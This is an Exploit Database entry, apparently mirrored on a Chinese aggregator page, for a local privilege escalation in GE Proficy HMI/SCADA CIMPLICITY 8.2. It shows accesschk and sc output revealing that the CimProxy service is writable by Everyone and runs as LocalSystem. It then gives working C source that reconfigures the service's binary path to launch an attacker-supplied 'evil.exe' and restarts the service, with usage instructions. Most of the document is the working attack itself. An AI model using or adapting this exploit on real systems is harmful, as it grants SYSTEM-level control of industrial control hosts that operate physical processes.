GE Proficy HMI/SCADA CIMPLICITY 8.2 – Local Privilege Escalation

• Exploit Database
• 14 阅读

• 作者： Zhou Yu
  日期： 2016-07-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40069/

• /*
  # Exploit Title: GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)
  # Vulnerability Discovery and Exploit Author: Zhou Yu
  # Email: <504137480@qq.com>
  # Version: 8.2
  # Tested on: Windows 7 SP1 X32
  # CVE : None
  
  Vulnerability Description:
  SERVICE_CHANGE_CONFIG Privilege Escalation
  C:\Users\lenovo\Desktop\AccessChk>accesschk.exe -q -v -c CimProxy
  CimProxy
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Everyone
  SERVICE_ALL_ACCESS
  
  C:\Users\lenovo\Desktop\AccessChk>sc qc CimProxy
  [SC] QueryServiceConfig �ɹ�
  
  SERVICE_NAME: CimProxy
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files\Proficy\Proficy CIMPLICITY\exe\Cim
  Proxy.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : CIMPLICITY Proxy Service
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  Usage:
  Put evil.exe and the exploit in the same folder and then run the exploit.
  */
  #include <windows.h>
  #include <stdio.h>
  #include <string.h>
  void main()
  {
  	char szPath[MAX_PATH];
  	char *t;
  GetModuleFileName(NULL,szPath,MAX_PATH);
  	t = strrchr(szPath, 0x5C);
  	t[0] = '\\';
  	t[1] = '\0';
  	strcat(szPath,"evil.exe\"");
  	char t1[] = "\"cmd.exe /c ";
  	char payload[] = "sc config CimProxy binPath= ";
  	strcat(t1,szPath);
  	strcat(payload,t1);
   
  	system(payload);
  	//stop service
  	printf("stop service!\n");
  	system("net stop CimProxy");
  	//start service
  	printf("start service!\n");
  	system("net start CimProxy");
  	
  }